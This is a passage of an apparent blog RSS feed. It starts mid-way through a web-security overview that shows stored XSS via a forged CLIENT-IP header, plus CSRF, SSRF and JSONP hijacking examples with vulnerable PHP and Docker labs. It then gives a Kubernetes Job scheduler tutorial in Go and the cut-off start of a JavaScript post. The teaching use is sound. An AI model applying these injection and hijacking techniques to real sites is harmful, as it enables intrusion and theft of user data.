&lt;p&gt;Even if we submit HTML, it is escaped. Submit &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; and the database stores &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;No way around it? There is.&lt;/p&gt;
&lt;p&gt;The code also stores the client IP. That is the bug. &lt;code&gt;CLIENT-IP&lt;/code&gt; and &lt;code&gt;X_FORWARDED_FOR&lt;/code&gt; are user-controlled. Install the &lt;a href=&quot;https://bewisse.com/modheader/&quot;&gt;ModHeader&lt;/a&gt; extension:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/modheader-clientip-xss.png&quot; alt=&quot;ModHeader request header: CLIENT-IP set to XSS payload script alert(1)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Change the header, submit again, and it is stored unescaped:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/mysql-stored-xss.png&quot; alt=&quot;xss.message query result: XSS payload stored unescaped after a forged IP&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/persistent&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;CSRF&lt;/h3&gt;
&lt;p&gt;Think of CSRF as making someone else do the killing. It usually shows up in form submissions. Open-source projects, especially CMS software, are common.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;form method=&quot;post&quot; action=&quot;addAdminUser.php&quot;&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;label for=&quot;username&quot;&amp;gt;Admin account to add: &amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;input&quot; name=&quot;username&quot;&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;label for=&quot;password&quot;&amp;gt;Admin password to add: &amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;button type=&quot;submit&quot;&amp;gt;Add&amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The form lives in the admin backend and adds an admin account. &lt;code&gt;addAdminUser.php&lt;/code&gt; checks the current user’s cookies. Non-admins cannot add anyone.&lt;/p&gt;
&lt;p&gt;The form has no captcha and no token, and &lt;code&gt;addAdminUser.php&lt;/code&gt; does not check &lt;code&gt;Referer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That is a CSRF bug.&lt;/p&gt;
&lt;p&gt;When the browser requests a resource, it attaches unexpired cookies. So a request to add an admin from another site still carries the logged-in cookies. The server treats it as you (the cookie check passed).&lt;/p&gt;
&lt;p&gt;Why CORS does not help: this kind of request cannot read the response, so CORS does not block it. An Ajax request would be blocked, because Ajax can read the response.&lt;/p&gt;
&lt;p&gt;Besides &lt;code&gt;form&lt;/code&gt;, what else works? The W3C CORS spec says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A &lt;a href=&quot;https://www.w3.org/TR/cors/#simple-cross-origin-request&quot;&gt;simple cross-origin request&lt;/a&gt; has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification. Simple cross-origin requests generated outside this specification (such as cross-origin form submissions using &lt;code&gt;GET&lt;/code&gt; or &lt;code&gt;POST&lt;/code&gt; or cross-origin &lt;code&gt;GET&lt;/code&gt; requests resulting from &lt;code&gt;script&lt;/code&gt; elements) typically include &lt;a href=&quot;https://www.w3.org/TR/cors/#user-credentials&quot;&gt;user credentials&lt;/a&gt;, so resources conforming to this specification must always be prepared to expect simple cross-origin requests with credentials.&lt;/p&gt;
&lt;p&gt;––See &lt;a href=&quot;https://www.w3.org/TR/cors/#security&quot;&gt;w3c cors&lt;/a&gt; for details.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is a bit vague, so here is the extra: form submissions with &lt;code&gt;GET&lt;/code&gt; or &lt;code&gt;POST&lt;/code&gt;, and &lt;code&gt;GET&lt;/code&gt; requests caused by HTML tags such as &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;img&lt;/code&gt;, almost always carry user credentials (cookies).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/CSRF&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;SSRF&lt;/h3&gt;
&lt;p&gt;SSRF is not far from CSRF. CSRF targets the user on the client. SSRF targets the server itself.&lt;/p&gt;
&lt;p&gt;It usually shows up in features that fetch and return a user-controlled resource.&lt;/p&gt;
&lt;p&gt;Examples: view page source online, fetch the title of a user-supplied link, translate a page online.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;script&amp;gt;
  // dynamically build the url from the url
  function seeCode() {
    const url = document.getElementsByTagName(&apos;input&apos;)[0].value;
    location.href = location.origin + location.pathname + &apos;?url=&apos; + url
  }
&amp;lt;/script&amp;gt;

&amp;lt;input type=&quot;text&quot; placeholder=&quot;Enter the URL of the site whose source you want to view&quot;/&amp;gt;
&amp;lt;button onclick=&quot;seeCode()&quot;&amp;gt;View&amp;lt;/button&amp;gt;
&amp;lt;?php
  $url = $_GET[&apos;url&apos;];
  if (&quot;&quot; == trim($url)) {
    return;
  }

  // get the content
  $websiteCode = file_get_contents($url);

  // encode and store into the textarea
  echo &quot;&amp;lt;textarea&amp;gt;&quot;.htmlspecialchars($websiteCode, ENT_QUOTES).&quot;&amp;lt;/textarea&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no filtering of user input. You can pass &lt;code&gt;http://192.168.1.2&lt;/code&gt; and reach an internal host. The fetch runs on the server, and the server can reach other machines on the same LAN.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/SSRF/&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;JSON hijacking&lt;/h3&gt;
&lt;p&gt;JSON hijacking is the same idea as CSRF.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fn-json-hijacking-principle&quot; id=&quot;user-content-fnref-json-hijacking-principle&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The main difference from CSRF is that JSON hijacking also abuses JSONP.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
  require &apos;utils.php&apos;;

  // authenticate the user and fetch user info
  $result = getUserInfo();
  if (count($result) != 3) {
    echo &quot;&quot;;
    exit();
  }

  $fnName = $_GET[&apos;callback&apos;];
  if (&quot;&quot; == trim($fnName)) {
    echo &quot;&quot;;
    exit();
  }

	// outputs: getInfo({&quot;name&quot;: name, &quot;balance&quot;: balance });
  echo &quot;$fnName({name: &apos;$result[0]&apos;, balance: &apos;$result[2]&apos;})&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script&amp;gt;
  function getInfo(data) {
    console.log(data); // {&quot;name&quot;: name, &quot;balance&quot;: balance}
  }
&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;./json.php?callback=getInfo&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If an attacker hosts a page that also includes &lt;code&gt;&amp;lt;script src=&quot;http://xxx/json.php?callback=getInfo&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Per the W3C CORS spec above, if the user is already logged in and then opens the attacker’s link, the attacker can read sensitive data they should not have.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/JSON%20Hijacking&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-reflected-dom&quot;&gt;
&lt;p&gt;DOM XSS is a kind of reflected XSS. People usually just say reflected XSS, and only split them when they need a finer cut. &lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fnref-reflected-dom&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-htmlspecialchars&quot;&gt;
&lt;p&gt;&lt;code&gt;htmlspecialchars(string,ENT_QUOTES)&lt;/code&gt; encodes like this: &lt;code&gt;&amp;amp;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;quot;&lt;/code&gt;, &lt;code&gt;&apos;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;#039;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;gt;&lt;/code&gt;. &lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fnref-htmlspecialchars&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-json-hijacking-principle&quot;&gt;
&lt;p&gt;Same in the sense that the bug is born the same way: requests from tags still carry user credentials. &lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fnref-json-hijacking-principle&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>web</category><category>xss</category><category>csrf</category><category>ssrf</category><category>json hijacking</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Flexible scheduling of a k8s cluster based on task volume</title><link>https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/</link><guid isPermaLink="true">https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/</guid><description>Flexible scheduling of a k8s cluster based on task volume, to save resources</description><pubDate>Tue, 20 Aug 2019 06:55:19 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;We recently needed to further control k8s cluster resources for a project, to avoid waste.&lt;/p&gt;
&lt;p&gt;The project needs a lot of resources: 3 CPU cores and 2G of memory. At first there was no flexible scheduling. The &lt;code&gt;Pod&lt;/code&gt; stayed running even when there was no work. &lt;code&gt;Requests&lt;/code&gt; and &lt;code&gt;Limits&lt;/code&gt; under k8s &lt;code&gt;Resources&lt;/code&gt; can cut some of that, but you still waste some resources.&lt;/p&gt;
&lt;h2&gt;Workflow&lt;/h2&gt;
&lt;p&gt;Before the main text, a quick walk through the flow, so the rest makes sense.&lt;/p&gt;
&lt;p&gt;Another team inserts a row into the database. A scheduler periodically scans the database. When it sees a new row, it calls the k8s API to create a &lt;code&gt;Job&lt;/code&gt;. The Job has a &lt;code&gt;Pod&lt;/code&gt;, and the &lt;code&gt;Pod&lt;/code&gt; does the work, then exits.&lt;/p&gt;
&lt;p&gt;Simple on the surface, but a few things matter:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;Pod&lt;/code&gt; needs environment variables, and the &lt;code&gt;Pod&lt;/code&gt; is created by the scheduler, so those values have to be passed through&lt;/li&gt;
&lt;li&gt;The scheduler must not change any data. It only reads from the database. That is for decoupling. The scheduler should not care about business logic or data&lt;/li&gt;
&lt;li&gt;The scheduler itself must not hold any state. Once you have state, you need somewhere to store it, including across scheduler restarts. That only adds burden.&lt;/li&gt;
&lt;li&gt;You need to consider whether the cluster still has resources to start another &lt;code&gt;Pod&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;The scheduler is written in &lt;code&gt;GoLang&lt;/code&gt;, so the rest uses &lt;code&gt;Go&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Set up a debuggable k8s environment&lt;/h3&gt;
&lt;p&gt;Because this is &lt;code&gt;Go&lt;/code&gt;, I used the official k8s &lt;code&gt;client-go&lt;/code&gt; library. The library already has helpers for creating a &lt;code&gt;clientset&lt;/code&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fn-clientset&quot; id=&quot;user-content-fnref-clientset&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
  &quot;fmt&quot;

  &quot;k8s.io/client-go/kubernetes&quot;
  &quot;k8s.io/client-go/rest&quot;
  &quot;k8s.io/client-go/tools/clientcmd&quot;
)

func main() {
  // this method contains k8s&apos;s own configuration operations for the Cluster
  kubeConfig, err := rest.InClusterConfig()

  if err != nil {
    // in a dev environment, use the current minikube. The KUBECONFIG variable must be set
    // for minikube, KUBECONFIG can point to $HOME/.kube/config
    kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
      clientcmd.NewDefaultClientConfigLoadingRules(),
      &amp;amp;clientcmd.ConfigOverrides{}).ClientConfig()

    // KUBECONFIG is not set, and we are not running inside a cluster either
    if err != nil {
      panic(&quot;get k8s config fail: &quot; + err.Error())
    }
  }

  // failed to create clientset
  clientset, err := kubernetes.NewForConfig(kubeConfig)
  if err != nil {
    panic(&quot;failed to create k8s clientset: &quot; + err.Error())
  }

  // created successfully
  fmt.Println(clientset)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rest.InClusterConfig()&lt;/code&gt; is also simple: it reads &lt;code&gt;token&lt;/code&gt; and &lt;code&gt;ca&lt;/code&gt; from &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/&lt;/code&gt; on the current machine, plus &lt;code&gt;KUBERNETES_SERVICE_HOST&lt;/code&gt; and &lt;code&gt;KUBERNETES_SERVICE_PORT&lt;/code&gt;, then joins them. If you are curious, see the &lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d979475341d3624f7a2de00730ea68e/rest/config.go#L403-L433&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From the above, &lt;code&gt;rest.InClusterConfig()&lt;/code&gt; is for a machine that is already in the cluster. That will not work in a local dev environment, so we need another path.&lt;/p&gt;
&lt;p&gt;I already handled that above. When &lt;code&gt;InClusterConfig&lt;/code&gt; fails, it falls through to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
  clientcmd.NewDefaultClientConfigLoadingRules(),
  &amp;amp;clientcmd.ConfigOverrides{}).ClientConfig()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is also simple: read &lt;code&gt;KUBECONFIG&lt;/code&gt; from the environment for the local k8s config path. If that variable is missing, use &lt;code&gt;.kube/config&lt;/code&gt; in the current user’s home. Then turn that file into the config we need. Main source: &lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/loader.go#L141-L161&quot;&gt;NewDefaultClientConfigLoadingRules&lt;/a&gt;, &lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/client_config.go#L477-L503&quot;&gt;ClientConfig&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As long as you have a local &lt;code&gt;minikube&lt;/code&gt;, you can debug and develop.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fn-rook&quot; id=&quot;user-content-fnref-rook&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;Create Job and Pod&lt;/h3&gt;
&lt;p&gt;I will not go into the database query. Adapt it to your own business. This is only a starting point. It does not have to be a database. Anything works; it depends on what fits the business.&lt;/p&gt;
&lt;p&gt;Assume we got a row from the database and need to pass those values into the Pod, so the Pod does not query again. First define the Job:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
  batchv1 &quot;k8s.io/api/batch/v1&quot;
  apiv1 &quot;k8s.io/api/core/v1&quot;
  &quot;k8s.io/apimachinery/pkg/api/resource&quot;
  metav1 &quot;k8s.io/apimachinery/pkg/apis/meta/v1&quot;
)

// config required by the job
type JobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// returns the specified cpu and memory resource values
// style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != &quot;&quot; {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != &quot;&quot; {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// returns a ResourceRequirements object; see the getResourceList comment for details
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// convert to pointer
func newInt64(i int64) *int64 {
  return &amp;amp;i
}

// config for creating the job
// returns the specified cpu and memory resource values
// style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != &quot;&quot; {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != &quot;&quot; {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// returns a ResourceRequirements object; see the getResourceList comment for details
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// config required by the job
type jobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// config for creating the job
func (j *jobsSpec) Create(envMap map[string]string) *batchv1.Job {
  u2 := uuid.NewV4().String()[:8]
  name := fmt.Sprint(j.Prefix, &quot;-&quot;, u2)

  return &amp;amp;batchv1.Job{
    ObjectMeta: metav1.ObjectMeta{
      Name:      name,
      Namespace: j.Namespace,
    },
    Spec: batchv1.JobSpec{
      Template: apiv1.PodTemplateSpec{
        Spec: apiv1.PodSpec{
          RestartPolicy: &quot;Never&quot;,
          Containers: []apiv1.Container{
            {
              Name:            name,
              Image:           j.Image,
              Env:             EnvToVars(envMap),
              ImagePullPolicy: &quot;Always&quot;,
              Resources:       getResourceRequirements(getResourceList(&quot;2500m&quot;, &quot;2048Mi&quot;), getResourceList(&quot;3000m&quot;, &quot;2048Mi&quot;)),
            },
          },
        },
      },
    },
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not much to say here. It is mostly resource definitions, and there are comments above.&lt;/p&gt;
&lt;p&gt;The code above is missing a piece: injecting variables. That is &lt;code&gt;EnvToVars&lt;/code&gt;. Core code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// convert an object into the environment variable format k8s accepts
func EnvToVars(envMap map[string]string) []v1.EnvVar {
  var envVars []v1.EnvVar
  for k, v := range envMap {
    envVar := v1.EnvVar{
      Name:  k,
      Value: v,
    }
    envVars = append(envVars, envVar)
  }
  return envVars
}

// get all variables of the current system and convert them into a map
func GetAllEnvToMap() map[string]string {
  item := make(map[string]string)
  for _, k := range os.Environ() {
    splits := strings.Split(k, &quot;=&quot;)
    item[splits[0]] = splits[1]
  }

  return item
}

// merge two maps; use a closure for better performance, so sourceMap only needs to be passed once
func MergeMap(sourceMap map[string]string) func(insertMap map[string]string) map[string]string {
  return func(insertMap map[string]string) map[string]string {
    for k, v := range insertMap {
      sourceMap[k] = v
    }

    return sourceMap
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;job := jobsSpec{
  Prefix:    &quot;project-&quot; + &quot;dev&quot; + &quot;-job&quot;,
  Image:     &quot;docker image name&quot;,
  Namespace: &quot;default&quot;,
}

willMergeMap := MergeMap(GetAllEnvToMap())

// dbData is the data fetched from the database, roughly in this format
// [ { id: 1, url: &apos;xxx&apos; }, { id: 2, url: &apos;yyy&apos; } ]
for _, data := range dbData {
  currentEnvMap := willMergeMap(data)

  // create the Job
  _, err = api.CreateJob(currentEnvMap)

  if err != nil {
    panic(&quot;create job fail&quot;, err.Error())
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That passes the current environment and the row into the &lt;code&gt;Pod&lt;/code&gt; as variables. You only need to make sure the scheduler has whatever the &lt;code&gt;Pod&lt;/code&gt; might need, such as &lt;code&gt;S3 Token&lt;/code&gt; and &lt;code&gt;DB Host&lt;/code&gt;. This way the &lt;code&gt;Pod&lt;/code&gt; does not have to care. The variables it needs come from the scheduler. Clear split of work.&lt;/p&gt;
&lt;h3&gt;Optimization&lt;/h3&gt;
&lt;p&gt;The above already covers the core. The logic is not hard. It is not enough on its own. There is more to consider.&lt;/p&gt;
&lt;h4&gt;Resource checks&lt;/h4&gt;
&lt;p&gt;One premise first: the scheduler must not change any data. Only the container in the &lt;code&gt;Pod&lt;/code&gt; may change data.&lt;/p&gt;
&lt;p&gt;That creates a problem.&lt;/p&gt;
&lt;p&gt;If the cluster cannot allocate resources, the &lt;code&gt;Pod&lt;/code&gt; stays &lt;code&gt;Pending&lt;/code&gt;. Variables are already injected, and because the container never starts, the data is never updated. The scheduler keeps treating the row as new, and starts another Job for it, looping until the cluster has enough resources and one Pod updates the data.&lt;/p&gt;
&lt;p&gt;Example: the database has a &lt;code&gt;status&lt;/code&gt; field. When the value is &lt;code&gt;wating&lt;/code&gt;, the scheduler treats it as new, injects it as environment variables into the Pod, and the Pod changes &lt;code&gt;waiting&lt;/code&gt; to &lt;code&gt;process&lt;/code&gt;. The scheduler scans every 3 minutes, so the Pod must update the row within 3 minutes.&lt;/p&gt;
&lt;p&gt;If resources are short, k8s creates the Pod but the code inside never runs, so the data is never updated, and the scheduler keeps creating Pods for the same row.&lt;/p&gt;
&lt;p&gt;The fix is simple: check whether any Pod is &lt;code&gt;Pending&lt;/code&gt;. If so, do not create more. Core code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func HavePendingPod() (bool, error) {
  // get all pods in the current namespace
  pods, err := clientset.CoreV1().Pods(Namespace).List(metaV1.ListOptions{})
  if err != nil {
    return false, err
  }

  // loop over the pods and check whether each one matches the current prefix; if so, this environment already has a Pending pod
  for _, v := range pods.Items {
    phase := v.Status.Phase
    if phase == &quot;Pending&quot; {
      if strings.HasPrefix(v.Name, Prefix) {
        return true, nil
      }
    }
  }

  return false, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When this is &lt;code&gt;true&lt;/code&gt;, do not create a &lt;code&gt;Job&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Max Job count&lt;/h4&gt;
&lt;p&gt;Cluster resources are not infinite. We handled &lt;code&gt;Pending&lt;/code&gt;, but that is only a defense. We still need a cap: when the Job count hits a value, stop creating Jobs. The code is simple. Here is how to get the Job count in the current environment:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// get the job Item instances of the same environment in the current namespace
func GetJobListByNS() ([]v1.Job, error) {
  var jobList, err = clientset.BatchV1().Jobs(Namespace).List(metaV1.ListOptions{})
    if err != nil {
    return nil, err
  }

  // filter out Jobs that do not share the prefix
  var item []v1.Job
  for _, v := range jobList.Items {
    if strings.HasPrefix(v.Name, Prefix) {
      item = append(item, v)
    }
  }

  return item, nil
}

func GetJobLenByNS() (int, error) {
  jobItem, err := api.GetJobListByNS()
  if err != nil {
      return maxValue, err
  }

  return len(jobItem), nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Delete completed and failed Jobs&lt;/h4&gt;
&lt;p&gt;The code above is wrong in one way. A k8s &lt;code&gt;Job&lt;/code&gt; does not delete itself when it succeeds or fails. Even after it finishes, the object stays. So the code above also counts completed and failed Jobs. Eventually you cannot create any more Jobs.&lt;/p&gt;
&lt;p&gt;Two fixes. First, set &lt;code&gt;spec.ttlSecondsAfterFinished&lt;/code&gt; on the &lt;code&gt;Job&lt;/code&gt; so k8s garbage-collects finished and failed Jobs. That field only exists on newer versions, and we were on an old one. So the second approach: before counting, call the API to delete completed and failed Jobs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func DeleteCompleteJob() error {
  jobItem, err := GetJobListByNS()
  if err != nil {
    return err
  }

  // without this property, deleting a job does not delete its pods
  propagationPolicy := metaV1.DeletePropagationForeground
  for _, v := range jobItem {
    // only delete jobs that have already finished
    if v.Status.Failed == 1 || v.Status.Succeeded == 1 {
      err := clientset.BatchV1().Jobs(Namespace).Delete(v.Name, &amp;amp;metaV1.DeleteOptions{
        PropagationPolicy: &amp;amp;propagationPolicy,
      })

      if err != nil {
        return err
      }
    }
  }

  return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The scheduler is simple. There is no need to extract it into a library. Once you have the idea, you can build a scheduler that fits your project.&lt;/p&gt;
&lt;p&gt;Thanks to &lt;a href=&quot;https://github.com/qqshfox&quot;&gt;@qqshfox&lt;/a&gt; for the idea.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-clientset&quot;&gt;
&lt;p&gt;Think of &lt;code&gt;clientset&lt;/code&gt; as a pipe to the cluster master. &lt;a href=&quot;https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fnref-clientset&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-rook&quot;&gt;
&lt;p&gt;The approach above follows &lt;a href=&quot;https://github.com/rook/rook/blob/823018b1c8c1475fa2a1433aae3c99382c4269cf/cmd/rook/rook/rook.go#L95-L160&quot;&gt;rook&lt;/a&gt;. &lt;a href=&quot;https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fnref-rook&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>k8s</category><category>golang</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Why (&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;).toLowerCase() prints banana</title><link>https://bugs.cc/posts/javascript-output-banana/</link><guid isPermaLink="true">https://bugs.cc/posts/javascript-output-banana/</guid><description>Step-by-step walkthrough of why it prints banana</description><pubDate>Thu, 15 Aug 2019 10:35:26 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I was on Weibo today and saw someone post this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;).toLowerCase()
// &quot;banana&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My first thought was that JavaScript would throw. It did not. So I got curious.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;After thinking about it, I figured it had to do with JavaScript operator precedence and implicit conversion.&lt;/p&gt;
&lt;p&gt;So I looked up &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table&quot;&gt;JavaScript operator precedence&lt;/a&gt; on MDN.&lt;/p&gt;
&lt;p&gt;Here are the operators used in that snippet, with their precedence:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Precedence&lt;/th&gt;
